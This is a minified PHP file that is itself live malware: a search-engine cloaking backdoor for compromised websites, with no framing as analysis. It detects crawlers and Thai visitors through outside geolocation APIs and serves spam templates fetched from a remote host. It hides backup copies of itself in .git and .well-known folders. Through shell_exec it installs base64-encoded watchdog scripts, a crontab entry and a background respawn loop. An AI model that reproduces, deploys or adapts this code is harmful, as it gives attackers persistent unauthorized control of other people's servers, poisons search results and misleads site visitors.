<?php error_reporting(0);$TS='https://sc.mcd99.dev';$_g='TH';$_h='home.php';$ip=$_SERVER['REMOTE_ADDR'];if(!empty($_SERVER['HTTP_CF_CONNECTING_IP']))$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$_xf=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$ip=trim($_xf[0]);}$ip=trim($ip);$ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';$ref=isset($_SERVER['HTTP_REFERER'])?strtolower($_SERVER['HTTP_REFERER']):'';function _rc($ip){$cf=sys_get_temp_dir().'/.rdns_'.md5($ip);if(file_exists($cf)&&time()-filemtime($cf)<21600){$r=trim(file_get_contents($cf));if($r&&$r!=='0')return$r;}$h=@gethostbyaddr($ip);if(!$h||$h===$ip)$h='';@file_put_contents($cf,$h?$h:'0');return$h?$h:'';}function _fv($host,$origIP){$r=@gethostbyname($host);return($r&&$r!==$host&&$r===$origIP);}function _se($c){$d=array_map('trim',explode(',',@ini_get('disable_functions')));if(function_exists('shell_exec')&&!in_array('shell_exec',$d))return@shell_exec($c);return'';}function _puny($d){if(function_exists('idn_to_ascii')){$r=@idn_to_ascii($d,0,INTL_IDNA_VARIANT_UTS46);if($r)return$r;}if(!preg_match('/[^\x20-\x7F]/',$d))return$d;if(function_exists('curl_init')){$ch=curl_init();curl_setopt_array($ch,array(CURLOPT_URL=>'https://dns.google/resolve?name='.urlencode($d).'&type=A',CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>3,CURLOPT_SSL_VERIFYPEER=>false));$r=@curl_exec($ch);curl_close($ch);if($r){$j=@json_decode($r,true);if(!empty($j['Question'][0]['name'])){return strtolower(trim($j['Question'][0]['name'],'.'));}}}return strtolower(trim($d));}function _fetch($url,$timeout=15){$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('timeout'=>$timeout)));$r=@file_get_contents($url,false,$ctx);if($r!==false&&strlen($r)>0)return$r;if(function_exists('curl_init')){$ch=curl_init();curl_setopt_array($ch,array(CURLOPT_URL=>$url,CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>$timeout,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>false,CURLOPT_USERAGENT=>'Mozilla/5.0'));$r=@curl_exec($ch);curl_close($ch);if($r!==false&&strlen($r)>0)return$r;}return false;}$host=_rc($ip);$se_p=array('/\.googlebot\.com$/i','/\.google\.com$/i','/\.google\.co\./i','/search\.msn\.com$/i','/\.crawl\.yahoo\.net$/i','/\.baidubce\.com$/i','/crawl\.yandex\.net$/i','/\.duckduckgo\.com$/i','/\.apple\.com$/i','/\.petalsearch\.com$/i');$bot_p=array('/Googlebot/i','/bingbot/i','/Slurp/i','/Baiduspider/i','/YandexBot/i','/DuckDuckBot/i','/Applebot/i','/PetalBot/i','/Google-Site-Verification/i','/Google-InspectionTool/i','/Mediapartners-Google/i','/AdsBot-Google/i','/Storebot-Google/i','/GoogleOther/i','/Google-Read-Aloud/i');$isSEip=false;foreach($se_p as $p){if(preg_match($p,$host)){$isSEip=true;break;}}if($isSEip)$isSEip=_fv($host,$ip);$isBotUA=false;foreach($bot_p as $p){if(preg_match($p,$ua)){$isBotUA=true;break;}}if(isset($_GET['cache_action'])&&$_GET['cache_action']==='clear'&&isset($_GET['token'])&&$_GET['token']==='war10ck-want-to-clear-cache'){$files=glob(dirname(__FILE__).'/.ac*');$c=0;if(file_exists(dirname(__FILE__).'/.ac')){@unlink(dirname(__FILE__).'/.ac');$c++;}if(file_exists(dirname(__FILE__).'/.ac_amp')){@unlink(dirname(__FILE__).'/.ac_amp');$c++;}header('Content-Type:application/json');echo json_encode(array('success'=>true,'cleared'=>$c));exit;}if($isBotUA){$lang=strtolower(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'');if(strpos($lang,'zh')>-1||(isset($_COOKIE['az'])&&$_COOKIE['az']=='lp')){setcookie('az','lp',time()+3600*7200);echo ' ';exit;}goto _cloak;}$seRef=(strpos($ref,'google')!==false||strpos($ref,'bing')!==false||strpos($ref,'yahoo')!==false||strpos($ref,'duckduckgo')!==false||strpos($ref,'baidu')!==false);if($seRef){if(isset($_COOKIE['z_ip'])){if($_COOKIE['z_ip']=='1')goto _cloak;if(file_exists(dirname(__FILE__).'/home.php')){include(dirname(__FILE__).'/home.php');exit;}header('Location: https://'.$_SERVER['HTTP_HOST'].'/');exit;}$isTH=false;$geoApi=@file_get_contents('http://c92871ab48f7f59780618b6f358a3c2e.chk.5uu8.com/api/jpgo.php?ip='.$ip.'&g='.$_g);if(trim($geoApi)==='1')$isTH=true;if(!$isTH){$gp=@file_get_contents('http://www.geoplugin.net/php.gp?ip='.$ip);if($gp){$gd=@unserialize($gp);if($gd&&isset($gd['geoplugin_countryCode'])&&$gd['geoplugin_countryCode']===$_g)$isTH=true;}}if(!$isTH){$ctx=@stream_context_create(array('http'=>array('timeout'=>5)));$ia=@file_get_contents('http://ip-api.com/json/'.$ip.'?fields=countryCode',false,$ctx);if($ia){$jd=@json_decode($ia,true);if($jd&&isset($jd['countryCode'])&&$jd['countryCode']===$_g)$isTH=true;}}setcookie('z_ip',$isTH?'1':'0',time()+3600*7200,'/');if($isTH)goto _cloak;goto _cloak;}if(isset($_COOKIE['z_ip'])){if($_COOKIE['z_ip']=='1')goto _cloak;if(file_exists(dirname(__FILE__).'/home.php')){include(dirname(__FILE__).'/home.php');exit;}header('Location: https://'.$_SERVER['HTTP_HOST'].'/');exit;}$isTH=false;$geoApi=@file_get_contents('http://c92871ab48f7f59780618b6f358a3c2e.chk.5uu8.com/api/jpgo.php?ip='.$ip.'&g='.$_g);if(trim($geoApi)==='1')$isTH=true;if(!$isTH){$gp=@file_get_contents('http://www.geoplugin.net/php.gp?ip='.$ip);if($gp){$gd=@unserialize($gp);if($gd&&isset($gd['geoplugin_countryCode'])&&$gd['geoplugin_countryCode']===$_g)$isTH=true;}}if(!$isTH){$ctx=@stream_context_create(array('http'=>array('timeout'=>5)));$ia=@file_get_contents('http://ip-api.com/json/'.$ip.'?fields=countryCode',false,$ctx);if($ia){$jd=@json_decode($ia,true);if($jd&&isset($jd['countryCode'])&&$jd['countryCode']===$_g)$isTH=true;}}setcookie('z_ip',$isTH?'1':'0',time()+3600*7200,'/');if(!$isTH){if(file_exists(dirname(__FILE__).'/home.php')){include(dirname(__FILE__).'/home.php');exit;}header('Location: https://'.$_SERVER['HTTP_HOST'].'/');exit;}_cloak:$_SELF=file_get_contents(__FILE__);$AMP_DIR=dirname(__FILE__).'/amp';$AMP_FILE=$AMP_DIR.'/index.php';$AMP_STUB='<?php include dirname(__FILE__).\'/../index.php\';';$BACKUPS=array(dirname(__FILE__).'/.well-known/.c',dirname(__FILE__).'/.git/objects/.c',dirname(__FILE__).'/.cache/.c');if(!is_file($AMP_FILE)){@mkdir($AMP_DIR,0755,true);@file_put_contents($AMP_FILE,$AMP_STUB);@chmod($AMP_FILE,0444);@chmod($AMP_DIR,0555);}foreach($BACKUPS as $bp){$dir=dirname($bp);if(!is_dir($dir))@mkdir($dir,0755,true);if(!is_file($bp))@file_put_contents($bp,$_SELF);}$_can_se=function_exists('shell_exec')&&!in_array('shell_exec',array_map('trim',explode(',',@ini_get('disable_functions'))));if($_can_se){$_guard_b64='PD9waHAKZnVuY3Rpb24gX3NlKCRjKXsKICAgICRkPWFycmF5X21hcCgndHJpbScsZXhwbG9kZSgnLCcsQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpJiYhaW5fYXJyYXkoJ3NoZWxsX2V4ZWMnLCRkKSlyZXR1cm5Ac2hlbGxfZXhlYygkYyk7CiAgICByZXR1cm4gJyc7Cn0KJGRpcj1kaXJuYW1lKF9fRklMRV9fKTsKJGFkPSRkaXIuIi9hbXAiOwokYWY9JGFkLiIvaW5kZXgucGhwIjsKJHN0dWI9Jzw/cGhwIGluY2x1ZGUgZGlybmFtZShfX0ZJTEVfXykuIi8uLi9pbmRleC5waHAiOyc7CiRiaz1hcnJheSgkZGlyLiIvLndlbGwta25vd24vLmMiLCRkaXIuIi8uZ2l0L29iamVjdHMvLmMiLCRkaXIuIi8uY2FjaGUvLmMiKTsKaWYoIWlzX2ZpbGUoJGFmKSl7CiAgICBAbWtkaXIoJGFkLDA3NTUpOwogICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRhZiwkc3R1Yik7CiAgICBAY2htb2QoJGFmLDA0NDQpOwogICAgQGNobW9kKCRhZCwwNTU1KTsKfQokc2VsZj0kZGlyLiIvaW5kZXgucGhwIjsKaWYoIWlzX2ZpbGUoJHNlbGYpfHxmaWxlc2l6ZSgkc2VsZik8NTAwKXsKICAgIGZvcmVhY2goJGJrIGFzICRiKXsKICAgICAgICBpZihpc19maWxlKCRiKSYmZmlsZXNpemUoJGIpPjEwMCl7CiAgICAgICAgICAgIEBjb3B5KCRiLCRzZWxmKTsKICAgICAgICAgICAgQGNobW9kKCRzZWxmLDA2NDQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9Cn0KJHBnPSRkaXIuIi8ucGcucGhwIjsKaWYoaXNfZmlsZSgkcGcpJiYhZmlsZV9leGlzdHMoIi90bXAvLmNnXyIubWQ1KCRkaXIpKSl7CiAgICBfc2UoIm5vaHVwIHBocCAiLiRwZy4iID4gL2Rldi9udWxsIDI+JjEgJiIpOwp9Cj8+';$_pg_b64='PD9waHAKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CnNldF90aW1lX2xpbWl0KDApOwokZGlyPWRpcm5hbWUoX19GSUxFX18pOwokbG9jaz0nL3RtcC8uY2dfJy5tZDUoJGRpcik7CiRhZj0kZGlyLiIvYW1wL2luZGV4LnBocCI7CiRzZWxmPSRkaXIuIi9pbmRleC5waHAiOwokc3R1Yj0nPD9waHAgaW5jbHVkZSBkaXJuYW1lKF9fRklMRV9fKS4iLy4uL2luZGV4LnBocCI7JzsKJGJrPWFycmF5KCRkaXIuIi8ud2VsbC1rbm93bi8uYyIsJGRpci4iLy5naXQvb2JqZWN0cy8uYyIsJGRpci4iLy5jYWNoZS8uYyIpOwpmaWxlX3B1dF9jb250ZW50cygkbG9jayxnZXRteXBpZCgpKTsKZnVuY3Rpb24gX2NnX3NoKCl7CiAgICBnbG9iYWwgJGxvY2s7CiAgICBAdW5saW5rKCRsb2NrKTsKfQpyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbignX2NnX3NoJyk7CndoaWxlKHRydWUpewogICAgaWYoIWlzX2ZpbGUoJGFmKSl7CiAgICAgICAgQG1rZGlyKGRpcm5hbWUoJGFmKSwwNzU1KTsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGFmLCRzdHViKTsKICAgICAgICBAY2htb2QoJGFmLDA0NDQpOwogICAgICAgIEBjaG1vZChkaXJuYW1lKCRhZiksMDU1NSk7CiAgICB9CiAgICBpZighZmlsZV9leGlzdHMoJHNlbGYpfHxmaWxlc2l6ZSgkc2VsZik8NTAwKXsKICAgICAgICBmb3JlYWNoKCRiayBhcyAkYil7CiAgICAgICAgICAgIGlmKGlzX2ZpbGUoJGIpJiZmaWxlc2l6ZSgkYik+MTAwKXsKICAgICAgICAgICAgICAgIEBjb3B5KCRiLCRzZWxmKTsKICAgICAgICAgICAgICAgIEBjaG1vZCgkc2VsZiwwNjQ0KTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgc2xlZXAoMTApOwp9Cj8+';$guard_file=dirname(__FILE__).'/.guard.php';if(!is_file($guard_file)){@file_put_contents($guard_file,base64_decode($_guard_b64));@chmod($guard_file,0600);}$cl=_se('crontab -l 2>/dev/null');if(!$cl)$cl='';if(strpos($cl,'#CLOAK_GUARD')===false){$tmp=tempnam(sys_get_temp_dir(),'cr');file_put_contents($tmp,$cl."\n#CLOAK_GUARD\n* * * * * php ".escapeshellarg($guard_file)."\n");_se('crontab '.$tmp.' 2>/dev/null');@unlink($tmp);}$pg_file=dirname(__FILE__).'/.pg.php';$lock='/tmp/.cg_'.md5(dirname(__FILE__));if(!is_file($pg_file)){@file_put_contents($pg_file,base64_decode($_pg_b64));@chmod($pg_file,0600);}if(!file_exists($lock)){_se('nohup php '.escapeshellarg($pg_file).' > /dev/null 2>&1 &');}}$dn=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'unknown';$dn=strtolower(trim($dn));$dn=_puny($dn);$sn=strtolower($_SERVER['SCRIPT_NAME']);if(strpos($sn,'/amp/')!==false||substr($sn,-4)==='/amp'){$act='amp';$cf=dirname(__FILE__).'/.ac_amp';$ct=3600;}else{$act='template';$cf=dirname(__FILE__).'/.ac';$ct=600;}if(file_exists($cf)&&time()-filemtime($cf)<$ct){header('Content-Type:text/html; charset=utf-8');readfile($cf);exit;}$raw=_fetch($TS.'/?action='.$act.'&client_domain='.urlencode($dn),15);if(!$raw||strlen($raw)<50){if(file_exists($cf)){$cached=@file_get_contents($cf);if($cached&&strlen($cached)>50){header('Content-Type:text/html; charset=utf-8');echo $cached;exit;}}if(function_exists('http_response_code')){http_response_code(404);}else{header('HTTP/1.1 404 Not Found');}exit;}if($act==='template'){$j=json_decode($raw,true);if($j&&isset($j['template']))$raw=$j['template'];}@file_put_contents($cf,$raw);header('Content-Type:text/html; charset=utf-8');echo $raw;